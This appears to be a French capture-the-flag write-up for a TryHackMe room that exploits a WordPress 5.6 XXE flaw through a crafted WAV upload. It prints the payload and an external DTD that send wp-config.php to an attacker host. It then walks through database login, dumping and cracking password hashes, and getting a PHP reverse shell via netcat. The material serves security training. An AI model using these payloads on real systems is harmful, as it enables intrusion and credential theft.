Vulnerability allow a authenticated user whith low privilages upload a malicious WAV file that could lead to remote arbitrary file disclosure and server-side request forgery (SSRF).
Aujourd’hui, nous allons exploiter la vulnérabilité CVE-2021-29774 qui touche les versions 5.6 de WordPress. Cette box est disponible sur TryHackMe. Même s’il s’agit d’une box guidé tout n’est pas fait et il faudra faire pal mal de manipulation pour en arriver au bout.
Même si on connait plus ou moins les ports qui sont ouverts aux vues des informations données et des questions posées plus bas. il est toujours intéressant de savoir par nous ce qu’il en est.
Commande :
nmap -T5 -p- 10.10.162.16
Un scan avec Gobuster nous permet de confirmer qu’il y a bien un WordPress sur le port 80.
Commande :
gobuster dir -u http://10.10.162.16 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Enfin avec WPscan on peut vérifier la version installée.
Commande :
wpscan –url 10.10.162.16
D’autant plus qu’après plusieurs lectures ça reste pas très clair au niveau explication…
wordpressdb2
Redacted
Pour répondre à ces deux questions, il faut mettre en place l’exploit. Sachant qu’il faut utiliser les identifiants fournis en 1ier partie. À savoir :
user: test-corp
password: test
Etape 1 : connexion à l’interface de worpdress
Etape 2 : Création d’un payload en .wav
Commande :
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.9.7.79:4444/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Étape 3 : Création du fichier NAMEEVIL.dtd
Il faut créer un fichier NAMEEVIL.dtd avec l’aide de l’éditeur de texte de votre choix et copier les deux lignes suivantes.
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource /var/www/html/wp-config.php ">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.9.7.79:4444/?p=%file;'>" >
Étape 4 : Upload du fichier payload.wav
Par le biais du menu de gauche, il faut prendre média et ensuite faire Select Files
Il ne reste plus qu’à choisir le bon fichier.
Étape 5 : Mise en place d’un écouteur PHP
php -S 0.0.0.0:4444
Pour faire court, une fois que le payload est téléchargé dans WP, il est lu et son contenu est exécuté. Il va aller chercher sur l’IP 10.9.7.79 et le port 4444 le fichier NAMEEVIL.dtd.
À son tour ce fichier va être lu, et WordPress va exécuter les deux lignes de codes qui nous permettront de lire le fichier de configuration config.php.
Si tout se passe bien, vous devriez recevoir sur votre écouteur PHP cette réponse :
La série de caractères n’est pas lisible même en la passant sur un decodeur base64. Il faut effectué cette commande :
echo "<?php echo zlib_decode(base64_decode('base64here')); ?>" > wp.php
Étape 6 : Lecture du fichier :
php wp.php
mysql
5.7.33
3306
Pour répondre à ces trois questions, une simple commande nmap suffit :
nmap -sV -sC -p 3306 10.10.162.16
Redacted
Redacted
Voici la liste des commandes à effectuer afin de récupérer le compte admin de WordPress :
Connexion à la base de donnée :
mysql -h 10.10.162.16 -u thedarktangent -p
show databases ;
use wordpressdb2 ;
show tables;
select * from wptry_users;
Copie du hash dans un fichier.
Commande :
echo ‘redacted’ > wp.hash
commande pour casser le hash :
john wp.hash
Une fois connecté avec les identifiants du compte admin, il faut uploader un faux thème en PHP contenant un reverse shell. Cela nous permettra d’obtenir un reverse shell.
POur cela, il faut cliquer sur Appearance, puis faire Upload en haut à droite.
Si tout se passe bien, vous devriez avoir cette erreur : The package could not be install. PCLZIP_ERR_BAT_FORMAT (-10)
Le faux thème ne sera pas installé, mais il sera quand même uploader. Il faut ensuite aller le chercher dans http://10.10.162.16/wp-content/uploads/2021/08/ ( la date sera différente de la mienne ).
Oui, j’ai fait quelques essais avec le fichier .wav avant que ça fonctionne… 😃
Bref, avant de cliquer sur le shell.php, il faut mettre un NETCAT en place.
Commande
nc -nlvp 4444
Pour le restant à faire vous pouvez upgrader le shell. En soit, il n’y a plus rien à faire, il faut se rendre dans le compte utilisateur stux et récupérer le flag.
That’s all folks
Merci d’avoir pris la peine de venir sur le site de lire ce Write Up
J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.
N’hésitez pas à laisse un commentaire ou à partager cet article.